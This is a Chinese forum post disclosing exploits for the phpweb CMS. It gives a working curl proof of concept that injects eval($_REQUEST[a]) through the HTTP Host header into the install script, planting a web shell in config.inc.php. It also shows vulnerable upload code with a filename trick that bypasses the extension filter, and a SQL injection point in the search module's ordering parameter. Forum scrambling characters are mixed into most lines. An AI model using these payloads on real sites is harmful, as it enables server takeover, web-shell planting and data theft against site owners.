找回密码
 立即注册
查看: 2895|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:" j# Y& A. z) `7 [
# S, R+ k, P( ^5 O9 H4 p, D, b7 x
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码- X0 N! e8 ^/ k$ p
" Q% D3 |' X* T% J3 V3 G
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
  C' s: b! u. |% J# A* J# g鸡肋2: 有一定安全常识的站长都会删掉 install 目录& u6 F" _5 b# S* i

4 r" l* y. V" _9 A% C9 Z虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响) ]2 _2 G. T; O; i

, g( H9 N/ k  w分析:0 H4 a: `- O" g2 d

3 O) J. U( M8 Z/ P7 N' T4 S
4 s: v$ t2 U/ ]$ N* ?, T$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
- z& Z  c/ g. t: \, c
. ?. w* n/ A! @9 m" c" ]                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);8 E% {+ s6 f' H
                                            $filestr=str_replace(" ","",$filestr);
+ e2 u6 }4 i9 ]7 |/ p4 D: l1 _! x                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
& N& G/ C5 t2 g( \, Y                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
: x3 c+ Z( W/ C7 H! v  J+ S  o                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);  n' Q) ?4 ?" Q6 e: h+ X
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);  h9 Z/ m7 x% x+ u( {! @, m4 X' m; d
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
" S% V8 E+ X) |; S  D                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
4 x* j5 I( p/ u8 g3 F3 o3 f                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: j+ e6 w+ @" \& W' u- A
/ z% m5 D7 v7 M, ^- u7 h2 f( }                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
* n; V0 t, z- S/ D/ T$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
) ^8 W/ Z( S6 q: s2 W 4 o5 ^7 G0 H4 Z$ s& c* ^
poc:
/ ^% u# n" Y! T4 B, K 2 q6 H% h. I$ K5 m' l; @7 V8 ?
?
  n5 G4 A  y) U1! s7 q" [; r0 j; X) O( g! F( E
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ ~5 I' O5 F. Y
shell地址: /config.inc.php) u# S" c1 ?7 j: \6 _  y! L
跟之前的 phpcms一样 需要远程数据库
( v* X  l, J2 T6 u/ w" h 4 F! U. v) U( u6 Z
——————————————————–) M% N' t3 X$ G5 R. p% h1 h1 C
上传漏洞(需要进后台):
, B6 H0 f% z. D% s! r9 a漏洞文件: /kedit/upload_cgi/upload.php
+ i8 V) {- o2 z4 k$ X+ Z5 ]这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
- M3 p5 }  T- D; v" _ " F4 @- v5 l# n0 h
9 N2 t3 ^! I8 ?" ]! N9 ?5 F0 o  k
<?php
9 |2 H1 [! Y5 I( E! p    define("ROOTPATH", "../../");6 |8 Z7 f, {8 O& ]# }
    include(ROOTPATH."includes/admin.inc.php");
. ?. j2 y" F7 m. |) x    NeedAuth(0);
3 n6 t( x7 U4 V" q) ?3 B; y
6 U7 o/ C6 B/ O& y. m    $dt=date("Ymd",time());! P$ C5 |! H. m' r$ M3 D1 a9 F
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){, j1 L$ q/ U6 B' ^
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
; q8 D  w4 f4 _) y% M) F2 ~* w# D- }    }: ?) L& T8 F7 _: n4 g* _
! Q7 g6 U  g! d% j) H3 }+ Q4 m% V
    //文件保存目录路径
) Z- h5 k8 i; \% \: {    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( y" @1 }* S/ _# ?. f7 ?
    echo $save_path;
2 ^/ _* x) U5 F    //文件保存目录URL! k7 Y$ w3 i4 o3 ]
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';$ b4 z4 Q* u# `1 k7 V& O0 Z

  q/ n$ U5 A  G- q. i    //定义允许上传的文件扩展名* `. F* C# @6 Z' k$ C6 K, k
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
1 E# C7 z4 ]9 ~/ a( T
7 r, p% F  S: a( Q6 X" `    //最大文件大小4 t% u8 w( k, R+ @
    $max_size = 1000000;" _0 R1 @0 `/ p' \8 H$ A
  A" W5 Z3 Z6 f& o3 t0 j1 Y
    //更改目录权限# n( ^9 z- ^6 S1 d3 V! v
    @mkdir($save_path, 0777);
/ z! Z% X6 J2 W # g* `% w5 t4 _4 v: P- q" E+ E, x* m
    //文件的全部路径: R$ V. H1 Q. k) l3 V
    $file_path = $save_path.$_POST['fileName'];   //保存文件名: ^2 h, [; q, X! b" y
/ E$ E4 A8 q8 \3 x8 ^
    //文件URL. M$ |1 T* B4 e' K8 g# n
    $file_url = $save_url.$_POST['fileName'];
  e7 x' q2 [% Q' m//有上传文件时% f, h' a$ J9 V& m- q) v
    if (empty($_FILES) === false) {
7 _5 A1 O& f# u6 P4 |! ` 7 D: B7 `0 t# G+ a6 @
            //原文件名
8 y2 F  G: b3 m' ]. i% l6 V            $file_name = $_FILES['fileData']['name'];% K* a4 I+ u( S0 S8 Y
            //服务器上临时文件名$ N5 `+ I( B" p
            $tmp_name = $_FILES['fileData']['tmp_name'];
0 n* p& _2 s: @& A5 \            //文件大小* M9 g& o3 G- I& o2 N8 `# Q
            $file_size = $_FILES['fileData']['size'];
  h# L# t/ ~  Z- l1 S# g            //检查目录
% ]9 K/ C1 x  v" K            if (@is_dir($save_path) === false) {
# D$ e3 c/ l3 a  b* b7 [; b; B                    alert("上传目录不存在。");6 k' |2 p1 `& f0 l
            }$ W3 ?' O: Y, ^5 S# l" B" M/ V
            //检查目录写权限
" W4 n8 L3 J+ o: j# ~/ u8 z            if (@is_writable($save_path) === false) {
% f9 n% [8 Y2 A& ]3 U' f2 w' ]' m                    alert("上传目录没有写权限。");% K" N3 w0 L# T9 f1 h" ?( C
            }! h5 @; b* _6 z  r( W
            //检查是否已上传
6 N7 e% S8 f* Z0 a            if (@is_uploaded_file($tmp_name) === false) {
' J, J' N$ [0 O9 W" b                    alert("临时文件可能不是上传文件。");
8 g3 p: X$ d8 I9 ?( _            }
: x8 M3 A, F; {/ X  B            //检查文件大小, y" z4 ~7 S7 F
            if ($file_size > $max_size) {
. J8 W' A5 n- Y. n8 l; y1 P                    alert("上传文件大小超过限制。");& o& r' l' T- Q
            }; a+ P( }' Z: z
            //获得文件扩展名
8 N& j4 h- v3 ?' _            $temp_arr = explode(".", $_POST['fileName']);) ^  V- T2 N" K' Z+ w! e1 ^6 n
            $file_ext = array_pop($temp_arr);
) E3 C3 `- c- X# L) Q            $file_ext = trim($file_ext);
; c0 w: r0 Q* C" ~; y1 ?            $file_ext = strtolower($file_ext);
& C* O) \, ]# p- [$ k
$ Z; {4 Q0 Z/ b) l' i3 g0 a            //检查扩展名   
: B' M% z6 |- T3 I            if (in_array($file_ext, $ext_arr) === false) {     & [9 j6 N7 O3 I4 e" o* E1 G
                    alert("上传文件扩展名是不允许的扩展名。");; O! f4 n9 @" h& P5 n
            }* N) P/ T+ L) }6 O

$ Q( b4 x0 `9 W; F7 A& A6 G1 q( z            //移动文件     P8 u1 G* @0 G- X$ R: O; G
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
6 B; Z/ a; X& K( N            if (move_uploaded_file($tmp_name, $file_path) === false) {
& Y. {. x8 c4 J0 V1 O/ c                    alert("上传文件失败。");2 j1 ~4 ^; g$ F% `2 ]
            }
) Y. J+ M- s4 }: W# F 6 e, K( q! P/ Y" w: r& e9 I( K1 h+ e
            @chmod($file_path,0666);
7 D% e2 V; T9 i/ _' |3 D* h
2 g, A  n/ @$ o$ `    ?>
* t2 _9 {& f) W8 l1 N抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
  |: o% G, r( \" \- Y . u( x, {1 @8 ]; v; P
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
2 {2 K7 a  f" S. T  s * o% J2 |+ }2 I. v" G* y# Q# @
——————————————————
3 q+ Z, M; l) x8 ?注入漏洞:$ [1 t7 V8 W: g8 _
漏洞文件:search/module/search.php7 ]- X5 T: k( O2 x
/search/index.php?key=1&myord=1 [sqlinjection]4 l" I0 c% Q1 t/ g* T/ k

* I2 u* J0 L9 e  d9 K4 U, x
, v. n6 }1 L% v$ H' W7 s<?php
5 s. Z1 q: b3 h  q7 O9 W# X   //       ... 省略 n 行...; ]; d1 |, c  x' O" N
   //第18行:6 J& @2 s( e- ^' o; s2 ~3 x
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
/ Q- ^; q1 L: A2 O; a  ]$ C           $page=htmlspecialchars($_GET["page"]);
2 _% a* m. |3 k& I           $myord=htmlspecialchars($_GET["myord"]);
  B* [. z$ p$ @4 l " O; L6 ]3 e) Y/ S- {* R6 k( p
   //       ... 省略 n 行...
1 l1 n9 K# k7 k, _! ~- O8 d   $key,$myord 两个参数带入查询2 V$ Z2 I6 k" E! s8 s6 F. r
   //第47行 $key:# V0 N# y' D9 a7 y
3 A3 K3 \: F* g1 L7 ^
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..: p% u5 i# O4 k) Y( r
8 Q+ k+ _  A# Q( G: R* }
   //第197行 $myord) N) V+ E# q% O2 I# y/ T3 }  L( z
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
* K( M8 Y# I! y" H& [4 B% K# H
& O- ?7 e; [5 O9 V( p/ S5 h4 s   ?>3 ^  T! i% [) R( V8 N. x" Q# t9 h5 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表